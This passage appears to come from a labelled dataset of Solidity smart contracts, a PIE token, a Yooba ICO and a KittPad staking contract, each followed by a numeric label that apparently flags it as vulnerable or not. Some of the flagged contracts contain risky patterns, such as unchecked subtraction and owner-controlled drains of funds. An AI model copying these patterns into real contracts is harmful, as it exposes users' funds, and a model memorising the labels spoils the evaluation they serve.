if (!isCurrentAdmin(msg.sender))
throw;
if (!accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
function addAccountMinter(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (accountMinterAddresses[_address])
throw;
accountMinterAddresses[_address] = true;
AccountMinterAdded(msg.sender, _address);
accountMinterAudit.length++;
accountMinterAudit[accountMinterAudit.length - 1] = _address;
}
function removeAccountMinter(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (!accountMinterAddresses[_address])
throw;
accountMinterAddresses[_address] = false;
AccountMinterRemoved(msg.sender, _address);
}
}
contract Token {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping(address => mapping (address => uint256)) allowed;
address[] allTokenHolders;
string public name;
string public symbol;
uint8 public decimals;
uint256 totalSupplyAmount = 0;
address public refundManagerContractAddress;
AuthenticationManager authenticationManager;
LockinManager lockinManager;
function availableBalance(address _owner) constant returns(uint256) {
uint256 length = lockinManager.getLocks(_owner);
uint256 lockedValue = 0;
for(uint256 i = 0; i < length; i++) {
if(lockinManager.getLocksUnlockDate(_owner, i) > now) {
uint256 _value = lockinManager.getLocksAmount(_owner, i);
lockedValue = lockedValue.add(_value);
}
}
return balances[_owner].sub(lockedValue);
}
event FundClosed();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Token(address _authenticationManagerAddress) {
name = "PIE (Authorito Capital)";
symbol = "PIE";
decimals = 18;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function setLockinManagerAddress(address _lockinManager) adminOnly {
lockinManager = LockinManager(_lockinManager);
}
function setRefundManagerContract(address _refundManagerContractAddress) adminOnly {
refundManagerContractAddress = _refundManagerContractAddress;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3) returns (bool) {
if (availableBalance(_from) >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
function approve(address _spender, uint256 _amount) onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2) returns (bool) {
if (availableBalance(msg.sender) < _amount || balances[_to].add(_amount) < balances[_to])
return false;
bool isRecipientNew = balances[_to] == 0;
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] <= 0)
tokenOwnerRemove(msg.sender);
Transfer(msg.sender, _to, _amount);
return true;
}
function tokenOwnerAdd(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
return;
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
function tokenOwnerRemove(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (!found)
return;
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
if ( ! authenticationManager.isCurrentAccountMinter(msg.sender))
throw;
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
lockinManager.defaultLockin(_address, _amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
function destroyTokens(address _investor, uint256 tokenCount) returns (bool) {
if ( refundManagerContractAddress == 0x0 || msg.sender != refundManagerContractAddress)
throw;
uint256 balance = availableBalance(_investor);
if (balance < tokenCount) {
return false;
}
balances[_investor] -= tokenCount;
totalSupplyAmount -= tokenCount;
if(balances[_investor] <= 0)
tokenOwnerRemove(_investor);
return true;
}
} | 1 | 3,580 |
pragma solidity ^0.4.22;
contract Utils {
function Utils() internal {
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IERC20Token {
function name() public constant returns (string) { name; }
function symbol() public constant returns (string) { symbol; }
function decimals() public constant returns (uint8) { decimals; }
function totalSupply() public constant returns (uint256) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract IOwned {
function owner() public constant returns (address) { owner; }
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() public {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract YooStop is Owned{
bool public stopped = true;
modifier stoppable {
assert (!stopped);
_;
}
function stop() public ownerOnly{
stopped = true;
}
function start() public ownerOnly{
stopped = false;
}
}
contract YoobaICO is Owned,YooStop,Utils {
IERC20Token public yoobaTokenAddress;
uint256 public startICOTime = 0;
uint256 public endICOTime = 0;
uint256 public leftICOTokens = 0;
uint256 public tatalEthFromBuyer = 0;
uint256 public daysnumber = 0;
mapping (address => uint256) public pendingBalanceMap;
mapping (address => uint256) public totalBuyMap;
mapping (address => uint256) public totalBuyerETHMap;
mapping (uint256 => uint256) public daySellMap;
mapping (address => uint256) public withdrawYOOMap;
uint256 internal milestone1 = 4000000000000000000000000000;
uint256 internal milestone2 = 2500000000000000000000000000;
uint256 internal dayLimit = 300000000000000000000000000;
bool internal hasInitLeftICOTokens = false;
function YoobaICO(IERC20Token _yoobaTokenAddress) public{
yoobaTokenAddress = _yoobaTokenAddress;
}
function startICO(uint256 _startICOTime,uint256 _endICOTime) public ownerOnly {
startICOTime = _startICOTime;
endICOTime = _endICOTime;
}
function initLeftICOTokens() public ownerOnly{
require(!hasInitLeftICOTokens);
leftICOTokens = yoobaTokenAddress.balanceOf(this);
hasInitLeftICOTokens = true;
}
function setLeftICOTokens(uint256 left) public ownerOnly {
leftICOTokens = left;
}
function setDaySellAmount(uint256 _dayNum,uint256 _sellAmount) public ownerOnly {
daySellMap[_dayNum] = _sellAmount;
}
function withdrawTo(address _to, uint256 _amount) public ownerOnly notThis(_to)
{
require(_amount <= this.balance);
_to.transfer(_amount);
}
function withdrawERC20TokenTo(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
function withdrawToBuyer(IERC20Token _token,address[] _to) public ownerOnly {
require(_to.length > 0 && _to.length < 10000);
for(uint16 i = 0; i < _to.length ;i++){
if(pendingBalanceMap[_to[i]] > 0){
assert(_token.transfer(_to[i],pendingBalanceMap[_to[i]]));
withdrawYOOMap[_to[i]] = safeAdd(withdrawYOOMap[_to[i]],pendingBalanceMap[_to[i]]);
pendingBalanceMap[_to[i]] = 0;
}
}
}
function withdrawToBuyer(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
withdrawYOOMap[_to] = safeAdd(withdrawYOOMap[_to],_amount);
pendingBalanceMap[_to] = safeSub(pendingBalanceMap[_to],_amount);
}
function refund(address[] _to) public ownerOnly{
require(_to.length > 0 && _to.length < 10000 );
for(uint16 i = 0; i < _to.length ;i++){
if(pendingBalanceMap[_to[i]] > 0 && withdrawYOOMap[_to[i]] == 0 && totalBuyerETHMap[_to[i]] > 0 && totalBuyMap[_to[i]] > 0){
if(totalBuyerETHMap[_to[i]] <= this.balance){
_to[i].transfer(totalBuyerETHMap[_to[i]]);
tatalEthFromBuyer = tatalEthFromBuyer - totalBuyerETHMap[_to[i]];
leftICOTokens = leftICOTokens + pendingBalanceMap[_to[i]];
totalBuyerETHMap[_to[i]] = 0;
pendingBalanceMap[_to[i]] = 0;
totalBuyMap[_to[i]] = 0;
}
}
}
}
function buyToken() internal
{
require(!stopped && now >= startICOTime && now <= endICOTime );
require(msg.value >= 0.1 ether && msg.value <= 100 ether);
uint256 dayNum = ((now - startICOTime) / 1 days) + 1;
daysnumber = dayNum;
assert(daySellMap[dayNum] <= dayLimit);
uint256 amount = 0;
if(now < (startICOTime + 1 weeks) && leftICOTokens > milestone1){
if(msg.value * 320000 <= (leftICOTokens - milestone1))
{
amount = msg.value * 320000;
}else{
uint256 priceOneEther1 = (leftICOTokens - milestone1)/320000;
amount = (msg.value - priceOneEther1) * 250000 + priceOneEther1 * 320000;
}
}else{
if(leftICOTokens > milestone2){
if(msg.value * 250000 <= (leftICOTokens - milestone2))
{
amount = msg.value * 250000;
}else{
uint256 priceOneEther2 = (leftICOTokens - milestone2)/250000;
amount = (msg.value - priceOneEther2) * 180000 + priceOneEther2 * 250000;
}
}else{
assert(msg.value * 180000 <= leftICOTokens);
if((leftICOTokens - msg.value * 180000) < 18000 && msg.value * 180000 <= 100 * 180000 * (10 ** 18)){
amount = leftICOTokens;
}else{
amount = msg.value * 180000;
}
}
}
if(amount >= 18000 * (10 ** 18) && amount <= 320000 * 100 * (10 ** 18)){
leftICOTokens = safeSub(leftICOTokens,amount);
pendingBalanceMap[msg.sender] = safeAdd(pendingBalanceMap[msg.sender], amount);
totalBuyMap[msg.sender] = safeAdd(totalBuyMap[msg.sender], amount);
daySellMap[dayNum] += amount;
totalBuyerETHMap[msg.sender] = safeAdd(totalBuyerETHMap[msg.sender],msg.value);
tatalEthFromBuyer += msg.value;
return;
}else{
revert();
}
}
function() public payable stoppable {
buyToken();
}
} | 1 | 3,872 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.4;
interface IKittPad {
function depositRewardsEth() external payable;
function getShares(address wallet) external view returns (uint256);
function getBoostNfts(address wallet)
external
view
returns (uint256[] memory);
}
contract KittPad is IKittPad, Ownable {
using SafeMath for uint256;
struct Reward {
mapping(address => uint256) totalExcluded;
mapping(address => uint256) totalRealised;
uint256 totalRealisedForNft;
uint256 totalExcludedForNft;
uint256 lastClaim;
}
struct Share {
uint256 amount;
uint256 amountBase;
uint256 stakedTime;
uint256[] nftBoostTokenIds;
}
uint256 public minSecondsBeforeUnstake = 43200;
address public shareholderToken;
address public nftBoosterToken;
uint256 public nftBoostPercentage = 2;
uint256 public maxNftsCanBoost = 10;
uint256 public totalStakedUsers;
uint256 public totalSharesBoosted;
uint256 public totalNftStaked;
uint256 public totalSharesDeposited;
IUniswapV2Router02 router;
mapping(address => Share) shares;
mapping(address => Reward) public rewards;
address[] public stakers;
uint256 public totalRewardsEth;
mapping(address => uint256) totalRewardsToken;
mapping(address => uint256) rewardsPerShareToken;
address[] public prTokenList;
uint256 public totalDistributed;
uint256 public rewardsEthPerNft;
uint256 public constant ACC_FACTOR = 10**36;
constructor(
address _shareholderToken,
address _nftToken
) {
shareholderToken = _shareholderToken;
nftBoosterToken = _nftToken;
}
function getPrTokenList() external view returns(address[] memory){
return prTokenList;
}
function stake(uint256 amount) external {
_stake(msg.sender, amount);
}
function stakeNFT(uint256[] memory nftTokenIds) external {
address shareholder = msg.sender;
require(nftTokenIds.length > 0, "You should stake NFTs more than one.");
if (shares[shareholder].nftBoostTokenIds.length > 0)
distributeRewardForNft(shareholder);
IERC721 nftContract = IERC721(nftBoosterToken);
for (uint256 i = 0; i < nftTokenIds.length; i++) {
nftContract.transferFrom(shareholder, address(this), nftTokenIds[i]);
shares[shareholder].nftBoostTokenIds.push(nftTokenIds[i]);
}
totalNftStaked = totalNftStaked.add(nftTokenIds.length);
rewards[shareholder].totalExcludedForNft = getCumulativeRewardsEth(
shares[shareholder].nftBoostTokenIds.length
);
}
function unstakeNFT(uint256[] memory nftTokenIds) external {
address shareholder = msg.sender;
if (shares[shareholder].nftBoostTokenIds.length > 0)
distributeRewardForNft(shareholder);
IERC721 nftContract = IERC721(nftBoosterToken);
for (uint256 i = 0; i < nftTokenIds.length; i++) {
uint256 j;
for (j = 0; j < shares[shareholder].nftBoostTokenIds.length; j++) {
if (nftTokenIds[i] == shares[shareholder].nftBoostTokenIds[j]) {
break;
}
}
require(j < shares[shareholder].nftBoostTokenIds.length, "Wrong id.");
if (j == shares[shareholder].nftBoostTokenIds.length - 1)
shares[shareholder].nftBoostTokenIds.pop();
else {
shares[shareholder].nftBoostTokenIds[j] = shares[shareholder]
.nftBoostTokenIds[shares[shareholder].nftBoostTokenIds.length - 1];
shares[shareholder].nftBoostTokenIds.pop();
}
nftContract.transferFrom(address(this), shareholder, nftTokenIds[i]);
}
rewards[shareholder].totalExcludedForNft = getCumulativeRewardsEth(
shares[shareholder].nftBoostTokenIds.length
);
totalNftStaked = totalNftStaked.sub(nftTokenIds.length);
}
function _stake(address shareholder, uint256 amount) private {
if (shares[shareholder].amount > 0) {
for (uint256 i = 0; i < prTokenList.length; i++) {
address rwdToken = prTokenList[i];
distributeReward(shareholder, rwdToken);
}
}
IERC20 shareContract = IERC20(shareholderToken);
uint256 stakeAmount = amount == 0
? shareContract.balanceOf(shareholder)
: amount;
uint256 sharesBefore = shares[shareholder].amount;
uint256 finalBaseAdded = stakeAmount;
uint256 shareBalanceBefore = shareContract.balanceOf(address(this));
shareContract.transferFrom(shareholder, address(this), stakeAmount);
finalBaseAdded = shareContract.balanceOf(address(this)).sub(
shareBalanceBefore
);
uint256 finalBoostedAmount = shares[shareholder].amountBase.add(finalBaseAdded);
totalSharesDeposited = totalSharesDeposited.add(finalBaseAdded);
totalSharesBoosted = totalSharesBoosted.sub(shares[shareholder].amount).add(
finalBoostedAmount
);
shares[shareholder].amountBase += finalBaseAdded;
shares[shareholder].amount = finalBoostedAmount;
shares[shareholder].stakedTime = block.timestamp;
if (sharesBefore == 0 && shares[shareholder].amount > 0) {
totalStakedUsers++;
}
for (uint256 i = 0; i < prTokenList.length; i++) {
address rwdToken = prTokenList[i];
rewards[shareholder].totalExcluded[rwdToken] = getCumulativeRewardsToken(
shares[shareholder].amount,
rwdToken
);
}
stakers.push(shareholder);
}
function _unstake(
address account,
uint256 boostedAmount
) private {
require(
shares[account].amount > 0 &&
(boostedAmount == 0 || boostedAmount <= shares[account].amount),
"you can only unstake if you have some staked"
);
require(
block.timestamp > shares[account].stakedTime + minSecondsBeforeUnstake,
"must be staked for minimum time and at least one block if no min"
);
for (uint256 i = 0; i < prTokenList.length; i++) {
address rewardsToken = prTokenList[i];
distributeReward(account, rewardsToken);
}
IERC20 shareContract = IERC20(shareholderToken);
uint256 boostedAmountToUnstake = boostedAmount == 0
? shares[account].amount
: boostedAmount;
uint256 baseAmount = boostedAmountToUnstake;
if (boostedAmount == 0) {
totalStakedUsers--;
}
shareContract.transfer(account, baseAmount);
totalSharesDeposited = totalSharesDeposited.sub(baseAmount);
totalSharesBoosted = totalSharesBoosted.sub(boostedAmountToUnstake);
shares[account].amountBase -= baseAmount;
shares[account].amount -= boostedAmountToUnstake;
for (uint256 i = 0; i < prTokenList.length; i++) {
address tkAddr = prTokenList[i];
rewards[account].totalExcluded[tkAddr] = getCumulativeRewardsToken(
shares[account].amount,
tkAddr
);
}
}
function unstake(uint256 boostedAmount) external {
_unstake(msg.sender, boostedAmount);
}
function depositRewardsEth() external payable override {
require(msg.value > 0, "value must be greater than 0");
require(
totalNftStaked > 0,
"must be shares deposited to be rewarded rewards"
);
uint256 amount = msg.value;
totalRewardsEth = totalRewardsEth.add(amount);
rewardsEthPerNft = rewardsEthPerNft.add(
ACC_FACTOR.mul(amount).div(totalNftStaked)
);
}
function depositRewardsToken(address tokenAddr, uint256 amount) external {
require(amount > 0, "value must be greater than 0");
require(
totalSharesBoosted > 0,
"must be shares deposited to be rewarded rewards"
);
IERC20 rewardsToken = IERC20(tokenAddr);
rewardsToken.transferFrom(msg.sender, address(this), amount);
if (totalRewardsToken[tokenAddr] == 0) prTokenList.push(tokenAddr);
totalRewardsToken[tokenAddr] = totalRewardsToken[tokenAddr].add(amount);
rewardsPerShareToken[tokenAddr] = rewardsPerShareToken[tokenAddr].add(
ACC_FACTOR.mul(amount).div(totalSharesBoosted)
);
}
function distributeRewardForNft(address shareholder) internal {
uint256 earnedRewards = getUnpaidEth(shareholder);
if (earnedRewards == 0)
return;
rewards[shareholder].totalRealisedForNft = rewards[shareholder].totalRealisedForNft.add(earnedRewards);
rewards[shareholder].totalExcludedForNft = getCumulativeRewardsEth(shares[shareholder].nftBoostTokenIds.length);
uint256 balanceBefore = address(this).balance;
(bool sent, ) = payable(shareholder).call{ value: earnedRewards }("");
require(sent, "ETH was not successfully sent");
require(
address(this).balance >= balanceBefore - earnedRewards,
"only take proper amount from contract"
);
}
function distributeReward(
address shareholder,
address rewardsToken
) internal {
if (shares[shareholder].amount == 0) {
return;
}
uint256 amount = getUnpaidToken(shareholder, rewardsToken);
if (amount == 0) return;
rewards[shareholder].totalRealised[rewardsToken] = rewards[shareholder]
.totalRealised[rewardsToken]
.add(amount);
rewards[shareholder].totalExcluded[rewardsToken] = getCumulativeRewardsToken(shares[shareholder].amount, rewardsToken);
rewards[shareholder].lastClaim = block.timestamp;
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
IERC20 rwdt = IERC20(rewardsToken);
rwdt.transfer(shareholder, amount);
}
}
function totalClaimed(address rewardsToken) external view returns(uint256) {
return rewards[msg.sender].totalRealised[rewardsToken];
}
function totalClaimedEth() external view returns(uint256) {
return rewards[msg.sender].totalRealisedForNft;
}
function claimRewardForKD(address rewardsToken) external {
distributeReward(msg.sender, rewardsToken);
}
function claimRewardForNft() external {
distributeRewardForNft(msg.sender);
}
function getUnpaidEth(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].nftBoostTokenIds.length == 0) return 0;
uint256 earnedRewards = getCumulativeRewardsEth(
shares[shareholder].nftBoostTokenIds.length
);
uint256 rewardsExcluded = rewards[shareholder].totalExcludedForNft;
if (earnedRewards <= rewardsExcluded) {
return 0;
}
return earnedRewards.sub(rewardsExcluded);
}
function getUnpaidToken(address shareholder, address tokenAddr)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}
uint256 earnedRewards = getCumulativeRewardsToken(
shares[shareholder].amount,
tokenAddr
);
uint256 rewardsExcluded = rewards[shareholder].totalExcluded[tokenAddr];
if (earnedRewards <= rewardsExcluded) {
return 0;
}
return earnedRewards.sub(rewardsExcluded);
}
function getCumulativeRewardsToken(uint256 share, address tokenAddr)
internal
view
returns (uint256)
{
return share.mul(rewardsPerShareToken[tokenAddr]).div(ACC_FACTOR);
}
function getCumulativeRewardsEth(uint256 share)
internal
view
returns (uint256)
{
return share.mul(rewardsEthPerNft).div(ACC_FACTOR);
}
function getBaseShares(address user) external view returns (uint256) {
return shares[user].amountBase;
}
function getShares(address user) external view override returns (uint256) {
return shares[user].amount;
}
function getBoostNfts(address user)
public
view
override
returns (uint256[] memory)
{
return shares[user].nftBoostTokenIds;
}
function setShareholderToken(address _token) external onlyOwner {
shareholderToken = _token;
}
function setMinSecondsBeforeUnstake(uint256 _seconds) external onlyOwner {
minSecondsBeforeUnstake = _seconds;
}
function setNftBoosterToken(address _nft) external onlyOwner {
nftBoosterToken = _nft;
}
function setNftBoostPercentage(uint256 _percentage) external onlyOwner {
nftBoostPercentage = _percentage;
}
function setMaxNftsToBoost(uint256 _amount) external onlyOwner {
maxNftsCanBoost = _amount;
}
function unstakeAll() public onlyOwner {
if (stakers.length == 0) return;
for (uint256 i = 0; i < stakers.length; i++) {
if (shares[stakers[i]].amount <= 0) continue;
_unstake(stakers[i], 0);
}
delete stakers;
}
function withdrawAll() external onlyOwner {
unstakeAll();
IERC20 shareContract = IERC20(shareholderToken);
uint256 amount = shareContract.balanceOf(address(this));
shareContract.transfer(owner(), amount);
amount = address(this).balance;
payable(owner()).call{ value: amount, gas: 30000 }("");
}
receive() external payable {}
} | 0 | 463 |
pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
